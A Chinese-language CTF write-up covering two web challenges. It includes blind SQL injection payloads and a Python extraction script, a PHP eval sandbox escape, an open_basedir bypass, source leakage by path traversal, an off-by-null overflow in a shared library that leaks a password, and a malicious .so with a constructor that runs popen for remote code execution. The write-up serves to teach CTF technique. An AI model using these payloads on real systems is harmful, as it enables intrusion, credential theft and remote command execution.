null === e && (e = Function.prototype);
var o = Object.getOwnPropertyDescriptor(e, r);
if (void 0 === o) {
var i = Object.getPrototypeOf(e);
return null === i ? void 0 : t(i, r, n)
}
if ('value' in o) return o.value;
var u = o.get;
return void 0 !== u ? u.call(n) : void 0
}(e.prototype.__proto__ || Object.getPrototypeOf(e.prototype), 'genOTP', this).call(this, n)
}
},
查找genOTP可以查到这里可以看到,当有传入参时,第一个参赋给t,第二个赋给r。无传入时,t的缺省值为5,r的缺省值为0
看下面n的计算式,可以看出t便是X,r便是T0
其实也可以从main.js中看出,如果知道totp的话,留意一下main.js中的注释
/*
[Developer Notes]
OTP Library for Python located in js/pyotp.zip
Server Params:
digits = 8
interval = 5
window = 1
*/
可以看到这里给了默认的几个参数,并且提示服务器是使用python实现口令的验证
接着回去看login,这里没给什么信息,就试试看有没有像普通的登录一样有注入的问题
尝试了一下发现可以绕出,但万能密码不行,那估计是分离式登录了。那就从username处入手盲注,fuzz一波后发现并没有过滤什么,但是不能用空格,因为这是命令行,会导致认为是下一个参数
测试了一下可以盲注,于是上脚本
payload:
login 'or((select(length(group_concat(table_name)))from(information_schema.tables)where(table_schema=database()))>0)'or' 1
login 'or(ascii(mid(((select(group_concat(table_name))from(information_schema.tables)where(table_schema=database())))from(1)for(1)))>0)'or' 1
login 'or((select(length(group_concat(column_name)))from(information_schema.columns)where(table_name='users'))>0)or' 1
login 'or(ascii(mid(((select(group_concat(column_name))from(information_schema.columns)where(table_name='users')))from(1)for(1)))>0)or' 1
login 'or((select(length(group_concat(password)))from(users))=50)or' 1
login 'or(ascii(mid(((select(group_concat(password))from(users)))from(1)for(1)))>0)or' 1
盲注脚本
# -*- coding:utf8 -*-
import requests
import re
import time
import pyotp
import json
totp = pyotp.TOTP('GAXG24JTMZXGKZBU',digits=8,interval = 5)
url = "http://8015fb4f-e782-4e32-9aee-3464f7a149a0.node3.buuoj.cn/shell.php?a="
l1 = 0
r1 = 100
while(l1<=r1):
mid1 = (l1 + r1)/2
a = "login 'or((select(length(group_concat(password)))from(users))="+str(mid1)+")or' 1"
# a = "login 'or((select(length(group_concat(column_name)))from(information_schema.columns)where(table_name='users'))="+str(mid1)+")or' 1"
# a = "login 'or((select(length(group_concat(table_name)))from(information_schema.tables)where(table_schema=database()))="+str(mid1)+")or' 1"
payload = url+a+"&totp="
http = requests.get(payload+str(totp.now()),timeout=5)
print payload+str(totp.now())
time.sleep(1)
content = json.loads(http.content)
if 'incorrect' in content['message']:
break
else:
a = "login 'or((select(length(group_concat(password)))from(users))>"+str(mid1)+")or' 1"
# a = "login 'or((select(length(group_concat(column_name)))from(information_schema.columns)where(table_name='users'))>"+str(mid1)+")or' 1"
# a = "login 'or((select(length(group_concat(table_name)))from(information_schema.tables)where(table_schema=database()))>"+str(mid1)+")or' 1"
payload = url+a+"&totp="
http = requests.get(payload+str(totp.now()),timeout=5)
print payload+str(totp.now())
time.sleep(1)
content = json.loads(http.content)
if 'incorrect' in content['message']:
l1 = mid1 + 1
else:
r1 = mid1 - 1
print mid1
k = ''
for j in range(mid1):
l2 = 0
r2 = 128
while(l2<=r2):
mid2 = (l2 + r2)/2
a = "login 'or(ascii(mid(((select(group_concat(password))from(users)))from("+str(j+1)+")for(1)))="+str(mid2)+")or' 1"
# a = "login 'or(ascii(mid(((select(group_concat(column_name))from(information_schema.columns)where(table_name='users')))from("+str(j+1)+")for(1)))="+str(mid2)+")or' 1"
# a = "login 'or(ascii(mid(((select(group_concat(table_name))from(information_schema.tables)where(table_schema=database())))from("+str(j+1)+")for(1)))="+str(mid2)+")or' 1"
payload = url+a+"&totp="
http = requests.get(payload+str(totp.now()),timeout=5)
print payload+str(totp.now())
time.sleep(1)
content = json.loads(http.content)
if 'incorrect' in content['message']:
break
else:
a = "login 'or(ascii(mid(((select(group_concat(password))from(users)))from("+str(j+1)+")for(1)))>"+str(mid2)+")or' 1"
# a = "login 'or(ascii(mid(((select(group_concat(column_name))from(information_schema.columns)where(table_name='users')))from("+str(j+1)+")for(1)))>"+str(mid2)+")or' 1"
# a = "login 'or(ascii(mid(((select(group_concat(table_name))from(information_schema.tables)where(table_schema=database())))from("+str(j+1)+")for(1)))>"+str(mid2)+")or' 1"
payload = url+a+"&totp="
http = requests.get(payload+str(totp.now()),timeout=5)
print payload+str(totp.now())
time.sleep(1)
content = json.loads(http.content)
if 'incorrect' in content['message']:
l2 = mid2 + 1
else:
r2 = mid2 - 1
k = k + chr(mid2)
print k
跑出
users
id,username,password
hint{G1ve_u_hi33en_C0mm3nd-sh0w_hiiintttt_23333}
于是执行一下sh0w_hiiintttt_23333
执行后提示了launch的时候会调用eval,于是先登录一波调用一下
显示没有命令可以执行,于是看看md文件
应该是要用过targeting来写入,然后fuzz一下发现只能都限制了长度和0-9A-Za-z{}_$,感觉就很像沙盒逃逸
php的沙盒逃逸也是很好玩,比如像{$a}或${a}可以在字符串中获得对应变量的值
通过{$a(99)}调用对应函数
通过这样也能获得函数执行结果对应的变量的值
从这里可以想到,我们可以通过这种方式在字符串中使用eval,尽管没有返回值,但eval依旧是执行了
更多沙箱逃逸的骚操作可以看看这个
从一道题讲PHP复杂变量
先试一下
这里通过eval执行了命令,一开始不知道为什么会error。后来看了一下响应才发现执行的结果已经返回,但由于非json才error
然后尝试一下file_get_contents()取读/flag
并没有返回,应该是被限制了,执行看看phpinfo()
可以看到open_basedir限制了只能在app以及sandbox目录下
要绕过这里,可以利用open_basedir设置的一个缺陷,它虽然不能在设定的目录下修改,但可以在非设定的目录下修改。也就是说,只要不在/app和/sandbox目录下,我们就可以随意修改open_basedir的值
具体看一叶飘零师傅的分析
从PHP底层看open_basedir bypass
感觉需要一些pwn基础,纯web手先留坑了Orz
payload:
chdir('img');ini_set('open_basedir','..');chdir('..');chdir('..');chdir('..');chdir('..');ini_set('open_basedir','/');echo(file_get_contents('flag'));
先进到img目录下将open_basedir设为..,然后一直返回上级目录到根目录(看phpinfo可以知道网站根目录在/var/www/html/
),将open_basedir设为/,然后读flag
其实在想为什么不能直接设为/,日后再研究研究底层看看吧
不过这里要拆分成一个个变量有点麻烦,可以用一个技巧——利用{代替[。这样就能用get传值进入,直接绕过过滤
像这样
脚本传个值进去后
命令就赋给了c,然后再执行一下
可以看到执行成功了
于是发送读取flag
CloudMusic_rev
进入是个山寨版网易云——滑稽云,当时看界面就知道是国赛决赛的题改,然而依旧没整出来
首先先注册登录,注册界面又是有一个麻烦的md5截断
然后看看前端的源码,在首页发现了一个接口
<!-- TODO 2019-08-03 06:15:32
To:Jessica Lee
Damn it! The boss said we should add firmware update function and put it online tomorrow!???
I havn't done yet and put the entry here.
You should help me coding and finish the job.
Security is important!!!
Something more, remember to delete this note!!!
From:Alan Wang
<p class="p1 p2">Admin Panel</p>
<span><a class="a1" href="#firmware">Upgrade Firmware</a></span>
-->
去掉注释进入,提示要admin账户,于是找找看有什么办法能登录admin
接着尝试一下上传,只允许mp3文件,检查了文件头,不太好利用
于是继续看share页面,发现很奇怪,有一首歌是加载不了的
看看源码,发现除了这首歌是通过/media/share.php?Y292ZXIvd2VsY29tZS5wbmc=
这个脚本获取图片,而其它歌都是直接读取/media/cover/
目录下对应的图片
看后面那串应该是base64于是解码一下得到cover/welcome.png
,然后取访问成功获得图片
那么shell.php有可能能够获取源码,于是尝试去获取index.php
base64一下访问,拿下来发现
urldecode path:../index.php
.php is not allowed.
不允许.php,于是尝试一下urlencode,成功获得
<?php
include_once 'include/config.php';
?>
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<title>Comical CloudMusic</title>
<link rel="stylesheet" href="css/bootstrap.min.css">
<link rel="stylesheet" href="css/reset.css">
<link rel="stylesheet" href="css/index.css">
<link rel="stylesheet" href="css/other.css">
<link rel="stylesheet" href="css/APlayer.min.css">
<script src="js/jquery-3.2.1.min.js"></script>
<script src="js/APlayer.min.js"></script>
<script src="js/color-thief.js"></script>
</head>
<body>
<header>
<div class="top">
<?php include 'include/top.php'; ?>
</div>
</header>
<div id="container">
<div id="left">
<?php include 'include/left.php'; ?>
</div>
<div id="content"></div>
<div id="player"></div>
</div>
<script>
const ap = new APlayer({
container: document.getElementById('player'),
fixed: true
});
const colorThief = new ColorThief();
const setTheme = (index) => {
if (ap.list.audios.length<=0) return;
if (ap.list.audios[index].theme==undefined) {
colorThief.getColorAsync(ap.list.audios[index].cover, function (color) {
ap.theme(`rgb(${color[0]}, ${color[1]}, ${color[2]})`, index);
});
}
};
ap.on('listswitch', (index) => {
setTheme(index.index);
});
ap.list.add({name:'Friendships',artist:'Pascal Letoublon',url:'/media/music/welcome.mp3',cover:'/media/cover/welcome.png'});
ap.list.switch(0);
</script>
<footer style="text-align:center;">
<?php include 'include/bottom.php'; ?>
</footer>
<script src="js/hotload.js"></script>
</body>
</html>
于是去拿其它几个的源码,通过index.php只能找到top这几个php,但主体部分没有。于是进到hotload.js发现hotload.php,拿下来
$whitelist=array('index','fm','mv','friend','disk','upload','share','favor','login','reg','feedback','firmware','search','logout','info');
if (!in_array($page,$whitelist,true)) $page='404';
include "include/$page.php";
可以看到主体部分的代码都在include里,于是全部拿下来审一下
在login.php中可以看到
$username==='admin'&&$password===$_GLOBALS['admin_password']
admin的密码是存在GLOBALS变量中的,于是去读config
$_GLOBALS['admin_password']=write_config(init_config('.passwd'));
可以看到密码是从通过write_config()
获得,再继续看init.php\
function get_filename($ext){
$files=scandir(__DIR__.'/../config/');
foreach ($files as $file) {
if ($file != "." && $file != "..") {
if (substr($file,-strlen($ext))===$ext){
return $file;
}
}
}
return '';
}
function init_config($ext){
$file=get_filename($ext);
if ($file==''){
$file=rand_str(8).$ext;
file_put_contents(__DIR__.'/../config/'.$file, '');
if (!file_exists(__DIR__.'/../config/'.$file)){
$file=='';
}
}
return $file;
}
function read_config($file){
return file_get_contents(__DIR__.'/../config/'.$file);
}
function write_config($file,$str = '',$length = 16){
$content=file_get_contents(__DIR__.'/../config/'.$file);
if ($content==''){
if ($str=='') $str=rand_str($length);
file_put_contents(__DIR__.'/../config/'.$file, $str);
}
return file_get_contents(__DIR__.'/../config/'.$file);
}
可以看到.passwd只是个后缀名,文件名是16为的随机数,应该无法通过直接读取获得
于是对着全部源码搜一下$_GLOBALS['admin_password']
,发现只剩upload.php使用了
$parser = FFI::cdef("
struct Frame{
char * data;
int size;
};
struct Frame * parse(char * password, char * classname, char * filename);
", __DIR__ ."/../lib/parser.so");
$result=$parser->parse($_GLOBALS['admin_password'],"title",$music_filename);
这里用FFI从/../lib/parser.so
中加载了parse方法,prase()
中需要传入三个参数:密码,类型和文件名。记得国赛时就是不会分析卡在了这Orz
下面是菜鸡web手第一次搞二进制文件,找了pwn师傅来指导【师傅实在tql
把so文件拿下来后ida打开,进到parse函数下
void *__fastcall parse(__int64 a1, const char *a2, __int64 a3)
{
__int64 v4; // [rsp+8h] [rbp-18h]
v4 = a3;
init_proc();
if ( check_password(a1) == 1 )
{
if ( !strcmp(a2, "title") )
{
read_title(v4, "title");
}
else if ( !strcmp(a2, "artist") )
{
read_artist(v4, "artist");
}
else if ( !strcmp(a2, "album") )
{
read_album(v4, "album");
}
}
return &mframe_data;
}
先进入初始化init_proc()
看看
void *init_proc()
{
mframe_size = 0;
mframe_data = &mem_mframe_data;
memset(&mem_mframe_data, 0, 0x70uLL);
passwd[0] = &mem_mpasswd;
return memset(&mem_mpasswd, 0, 0x20uLL);
}
这里将mframe_data
指向mem_mframe_data
,passwd[0]
指向mem_mpasswd
接着读check_password()
,这个函数用来读取并检查输入的密码是否正确。主要看这个地方
stream = fopen(&s, "r");
if ( !stream )
return 0LL;
fread(passwd[0], 1uLL, 0x18uLL, stream);
fclose(stream);
return strcmp(passwd[0], a1) == 0;
这里将取出的密码保存到了passwd[0]
指向的地址,也就是mem_mpasswd
。不过整个过程中仅有最后比较的时候使用了传入的a1
,没有什么可以插手的地方,应该利用不了
回到parse()
,下面判断classname是什么并分别进入不同函数
于是先进入read_title()
看看,这个函数应该是用来获取歌曲的title
unsigned __int64 __fastcall read_title(__int64 a1)
{
unsigned __int64 result; // rax
const char *v2; // rax
signed int *v3; // rax
signed int *v4; // [rsp+18h] [rbp-18h]
result = load_tag(a1);
if ( result )
{
v2 = tag_get_title(result);
v3 = parse_text_frame_content(v2);
v4 = v3;
result = strlen(*(v3 + 1));
if ( result <= 0x70 )
{
mframe_size = strlen(*(v4 + 1));
result = strcpy(&mem_mframe_data, *(v4 + 1));
}
}
return result;
}
load_tag()
应该是将文件读取出来
const char *__fastcall tag_get_title(__int64 a1)
{
const char *result; // rax
if ( a1 )
result = get_from_list(*(a1 + 16), "TIT2");
else
result = 0LL;
return result;
}
然后在tag_get_title()
返回TIT2(mp3头部记录作者的标签)的位置parse_text_frame_content()
猜测是将TIT2对应的起始地址+10(标签帧头长度),然后将赋给result
该位置的内容,也就是TIT2的内容数据。然后result
获得TIT2的大小(v3+1
的原因是第一位是用来记录是什么编码),判断是否大于0x70,大于直接返回result
。否则将TIT2的内容数据复制给mem_mframe_data
这里pwn师傅说一般碰到这种情况首先回去尝试一下边界值,结果也确实是可以,但还是分析一下原因
这里要利用的是off by null
,parse()
处最终是返回了mframe_data
的地址,也就是mem_mframe_data
我们查看一下可以看到mframe_data
地址在bbs段上的9390处
而mem_mframe_data
的地址在bbs段上的9320处
可以发现,两个数据的地址的差正好是0x70,也就是说只要mp3的大小大于0x70,就能够覆盖掉mframe_data
的指向地址,就可以控制返回的数据
但这里限制了大小为0x70,无法让mp3的数据大于0x70。这时就要利用一下strlen()
和strcpy()
对字符串的处理的一些细节。strlen()
虽然是遇到/x00停止计算长度,但不会将/x00计入长度之中;而strcpy()
则是会将/x00一同给复制。这样的结果就是,尽管strlen()计算的长度为0x70,但strcpy()
复制的长度为0x71,/x00就溢出到了mframe_data处
此时由于mframe_data
储存的是mem_mframe_data
的地址,而且是以小端保存,因此保存的地址会从9320修改成9300,然后看看9300处
正好是password保存的位置,于是将password读出返回了
这里pwn师傅说bbs段虽然并不是真实地址,但也是相对地址,因此修改最后几位依旧可以保证指向的地址正确
然后构造一个符合要求的mp3文件,要注意几点的是,需要有title artist album这
几个标签。同时对于要溢出的标签,大小不能只设为72(要计上编码和0x00),因为密码也要占用长度。所以可以将长度设大一些,然后在第72位的0x00后补足长度的字符即可
这是构造出来的mp3,TPE1的第72位为0x00,然后往后补足到了0xA1位
上传一下,成功获得密码,进入firmware界面
一个上传和调试的接口,回去读一下源码
if (isset($_FILES["file_data"])){
if ($_FILES["file_data"]["error"] > 0||$_FILES["file_data"]["size"] > 1024*1024*1){
ob_end_clean();
die(json_encode(array('status'=>0,'info'=>'upload err, maximum file size is 1MB.')));
}else{
mt_srand(time());
$firmware_filename=md5(mt_rand().$_SERVER['REMOTE_ADDR']);
$firmware_filename=__DIR__."/../uploads/firmware/".$firmware_filename.".elf";
上传部分会将文件保存为elf,那就是要上传一个so文件
if (isset($path)){
$path=clean_string(trim((string) $path));
if (strlen($path)<=0||strlen($path)>64){
ob_end_clean();
die(json_encode(array('status'=>0,'info'=>'Format or length check failed.')));
}else{
$firmware_filename=__DIR__."/../uploads/firmware/".$path.".elf";
if (!file_exists($firmware_filename)){
ob_end_clean();
die(json_encode(array('status'=>0,'info'=>'File not found.')));
}else{
try{
$elf = FFI::cdef("
extern char * version;
", $firmware_filename);
$version=(string) FFI::string($elf->version);
if ($version === "cloudmusic_rev"){
ob_end_clean();
die(json_encode(array('status'=>1,'info'=>'Firmware version is cloudmusic_rev.')));
}else{
ob_end_clean();
die(json_encode(array('status'=>0,'info'=>'Bad version.')));
}
}catch(Error $e){
ob_end_clean();
die(json_encode(array('status'=>0,'info'=>'Fail when loading firmware.')));
}
}
}
}
调试部分则是会去获得文件的version,但只是返回固定的信息,,这里可以利用__attribute__((constructor))
。之前写C时没用过,不过看得出是个类似于构造函数的东西,实际上用途也是被设定为该属性的函数,会在main()
执行前执行【同时也有个类似析构函数的用法】
于是我们可以构造文件,让其中有一个函数为__attribute__((constructor))
。那么只要使用了这个文件,那就会执行函数得以RCE
先构造好文件,由于没有回显,那就将内容保存到web目录下。尝试了几次在uploads下那几个目录能写,web根目录和uploads目录是写不了的
先读一下根目录
#include <stdio.h>
#include <string.h>
char _version[0x130];
char * version = &_version;
__attribute__ ((constructor)) void flag(){
memset(version,0,0x130);
FILE * fp=popen("/usr/bin/tac /flag > /var/www/html/uploads/firmware/flag.txt ", "r");
if (fp==NULL) return;
fread(version, 1, 0x100, fp);
pclose(fp);
}
然后编译为so文件,本来以为so文件可以gcc -c x.c -o x.so
这样生成,上传后一直用不了很懵逼。后来尝试去调试时才发现so要用动态文件的生成方式生成,记一下命令gcc x.c -fPIC -shared -o x.so
上传so,然后去计算文件的位置time()
的值可以通过抓包获取服务器的时间
$_SERVER['REMOTE_ADDR']
查看自己的公网ip即可
不过这里由于php7对mt_rand()
的算法有改动,所以要使用php7以上去生成
然后调试so文件
看到这样就是成功了
访问一下
flag在根目录,然后cat /flag > /var/www/html/uploads/firmware/flag.txt
发现什么都没读到,猜测可能是权限的问题,于是ls -l / > /var/www/html/uploads/firmware/ls-l.txt
确实不够权限去读取flag,需要找一个有suid权限的程序去读取。/usr/bin/tac
的权限为suid,而tac和cat不同的只是从最后一行读起而已。这里flag只有一行问题不大,于是/usr/bin/tac /flag > /var/www/html/uploads/firmware/getflag.txt
得到flag